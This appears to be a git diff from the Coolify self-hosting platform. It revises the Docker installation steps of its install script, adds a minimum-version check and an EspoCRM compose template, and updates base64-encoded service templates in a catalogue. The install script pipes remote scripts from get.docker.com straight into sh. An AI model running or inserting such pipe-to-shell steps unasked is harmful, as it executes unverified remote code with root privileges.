OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"')
|
||||
ENV_FILE="/data/coolify/source/.env"
|
||||
DOCKER_VERSION="27.0"
|
||||
DOCKER_VERSION="latest"
|
||||
# TODO: Ask for a user
|
||||
CURRENT_USER=$USER
|
||||
|
||||
|
|
@ -499,13 +499,10 @@ fi
|
|||
|
||||
install_docker() {
|
||||
set +e
|
||||
curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true
|
||||
curl -fsSL https://get.docker.com | sh 2>&1 || true
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo "Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
fi
|
||||
echo "Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
fi
|
||||
set -e
|
||||
}
|
||||
|
|
@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
echo " - Docker is not installed. Installing Docker. It may take a while."
|
||||
getAJoke
|
||||
case "$OS_TYPE" in
|
||||
"almalinux")
|
||||
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
|
||||
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
;;
|
||||
"alpine" | "postmarketos")
|
||||
apk add docker docker-cli-compose >/dev/null 2>&1
|
||||
rc-update add docker default >/dev/null 2>&1
|
||||
|
|
@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
fi
|
||||
;;
|
||||
"arch")
|
||||
pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1
|
||||
pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1
|
||||
systemctl enable docker.service >/dev/null 2>&1
|
||||
systemctl start docker.service >/dev/null 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Failed to install Docker with pacman. Try to install it manually."
|
||||
echo " Please visit https://wiki.archlinux.org/title/docker for more information."
|
||||
|
|
@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
dnf install docker -y >/dev/null 2>&1
|
||||
DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker}
|
||||
mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1
|
||||
curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
|
||||
curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
|
||||
chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
|
|
@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
exit 1
|
||||
fi
|
||||
;;
|
||||
"centos" | "fedora" | "rhel" | "tencentos")
|
||||
if [ -x "$(command -v dnf5)" ]; then
|
||||
# dnf5 is available
|
||||
dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1
|
||||
else
|
||||
# dnf5 is not available, use dnf
|
||||
dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1
|
||||
fi
|
||||
"almalinux" | "tencentos")
|
||||
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
|
||||
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
;;
|
||||
"ubuntu" | "debian" | "raspbian")
|
||||
"ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles")
|
||||
install_docker
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
install_docker
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
|
|
@ -627,6 +609,19 @@ else
|
|||
echo " - Docker is installed."
|
||||
fi
|
||||
|
||||
# Verify minimum Docker version
|
||||
MIN_DOCKER_VERSION=24
|
||||
INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1)
|
||||
if [ -z "$INSTALLED_DOCKER_VERSION" ]; then
|
||||
echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed."
|
||||
elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then
|
||||
echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer."
|
||||
echo " Please upgrade Docker: https://docs.docker.com/engine/install/"
|
||||
exit 1
|
||||
else
|
||||
echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)."
|
||||
fi
|
||||
|
||||
log_section "Step 4/9: Checking Docker configuration"
|
||||
echo "4/9 Checking Docker configuration..."
|
||||
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
# ignore: true
|
||||
# documentation: https://booklore.org/docs/getting-started
|
||||
# slogan: Booklore is an open-source library management system for your digital book collection.
|
||||
# tags: media, books, kobo, epub, ebook, KOreader
|
||||
|
|
|
|||
75
templates/compose/espocrm.yaml
Normal file
75
templates/compose/espocrm.yaml
Normal file
|
|
@ -0,0 +1,75 @@
|
|||
# documentation: https://docs.espocrm.com
|
||||
# slogan: EspoCRM is a free and open-source CRM platform.
|
||||
# category: cms
|
||||
# tags: crm, self-hosted, open-source, workflow, automation, project management
|
||||
# logo: svgs/espocrm.svg
|
||||
# port: 80
|
||||
|
||||
services:
|
||||
espocrm:
|
||||
image: espocrm/espocrm:9
|
||||
environment:
|
||||
- SERVICE_URL_ESPOCRM
|
||||
- ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin}
|
||||
- ESPOCRM_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN}
|
||||
- ESPOCRM_DATABASE_PLATFORM=Mysql
|
||||
- ESPOCRM_DATABASE_HOST=espocrm-db
|
||||
- ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm}
|
||||
- ESPOCRM_DATABASE_USER=${SERVICE_USER_MARIADB}
|
||||
- ESPOCRM_DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB}
|
||||
- ESPOCRM_SITE_URL=${SERVICE_URL_ESPOCRM}
|
||||
volumes:
|
||||
- espocrm:/var/www/html
|
||||
healthcheck:
|
||||
test: ["CMD", "curl", "-f", "http://127.0.0.1:80"]
|
||||
interval: 2s
|
||||
start_period: 60s
|
||||
timeout: 10s
|
||||
retries: 15
|
||||
depends_on:
|
||||
espocrm-db:
|
||||
condition: service_healthy
|
||||
|
||||
espocrm-daemon:
|
||||
image: espocrm/espocrm:9
|
||||
container_name: espocrm-daemon
|
||||
volumes:
|
||||
- espocrm:/var/www/html
|
||||
restart: always
|
||||
entrypoint: docker-daemon.sh
|
||||
depends_on:
|
||||
espocrm:
|
||||
condition: service_healthy
|
||||
|
||||
espocrm-websocket:
|
||||
image: espocrm/espocrm:9
|
||||
container_name: espocrm-websocket
|
||||
environment:
|
||||
- SERVICE_URL_ESPOCRM_WEBSOCKET_8080
|
||||
- ESPOCRM_CONFIG_USE_WEB_SOCKET=true
|
||||
- ESPOCRM_CONFIG_WEB_SOCKET_URL=$SERVICE_URL_ESPOCRM_WEBSOCKET
|
||||
- ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBSCRIBER_DSN=tcp://*:7777
|
||||
- ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBMISSION_DSN=tcp://espocrm-websocket:7777
|
||||
volumes:
|
||||
- espocrm:/var/www/html
|
||||
restart: always
|
||||
entrypoint: docker-websocket.sh
|
||||
depends_on:
|
||||
espocrm:
|
||||
condition: service_healthy
|
||||
|
||||
espocrm-db:
|
||||
image: mariadb:11.8
|
||||
environment:
|
||||
- MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm}
|
||||
- MARIADB_USER=${SERVICE_USER_MARIADB}
|
||||
- MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB}
|
||||
- MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_ROOT}
|
||||
volumes:
|
||||
- espocrm-db:/var/lib/mysql
|
||||
healthcheck:
|
||||
test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
|
||||
interval: 20s
|
||||
start_period: 10s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
|
|
@ -818,7 +818,7 @@
|
|||
"databasus": {
|
||||
"documentation": "https://databasus.com/installation?utm_source=coolify.io",
|
||||
"slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.",
|
||||
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==",
|
||||
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==",
|
||||
"tags": [
|
||||
"postgres",
|
||||
"mysql",
|
||||
|
|
@ -1951,7 +1951,7 @@
|
|||
"heyform": {
|
||||
"documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io",
|
||||
"slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.",
|
||||
"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
|
||||
"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
|
||||
"tags": [
|
||||
"form",
|
||||
"builder",
|
||||
|
|
@ -1965,7 +1965,7 @@
|
|||
"category": "productivity",
|
||||
"logo": "svgs/heyform.svg",
|
||||
"minversion": "0.0.0",
|
||||
"port": "8000"
|
||||
"port": "9157"
|
||||
},
|
||||
"homarr": {
|
||||
"documentation": "https://homarr.dev?utm_source=coolify.io",
|
||||
|
|
@ -2041,6 +2041,21 @@
|
|||
"minversion": "0.0.0",
|
||||
"port": "80"
|
||||
},
|
||||
"imgcompress": {
|
||||
"documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io",
|
||||
"slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.",
|
||||
"compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=",
|
||||
"tags": [
|
||||
"compress",
|
||||
"photo",
|
||||
"server",
|
||||
"metadata"
|
||||
],
|
||||
"category": "media",
|
||||
"logo": "svgs/imgcompress.png",
|
||||
"minversion": "0.0.0",
|
||||
"port": "5000"
|
||||
},
|
||||
"immich": {
|
||||
"documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io",
|
||||
"slogan": "Self-hosted photo and video management solution.",
|
||||
|
|
@ -2417,6 +2432,19 @@
|
|||
"minversion": "0.0.0",
|
||||
"port": "3000"
|
||||
},
|
||||
"librespeed": {
|
||||
"documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io",
|
||||
"slogan": "Self-hosted lightweight Speed Test.",
|
||||
"compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK",
|
||||
"tags": [
|
||||
"speedtest",
|
||||
"internet-speed"
|
||||
],
|
||||
"category": "devtools",
|
||||
"logo": "svgs/librespeed.png",
|
||||
"minversion": "0.0.0",
|
||||
"port": "82"
|
||||
},
|
||||
"libretranslate": {
|
||||
"documentation": "https://libretranslate.com/docs/?utm_source=coolify.io",
|
||||
"slogan": "Free and open-source machine translation API, entirely self-hosted.",
|
||||
|
|
@ -4099,7 +4127,7 @@
|
|||
"seaweedfs": {
|
||||
"documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io",
|
||||
"slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.",
|
||||
"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK",
|
||||
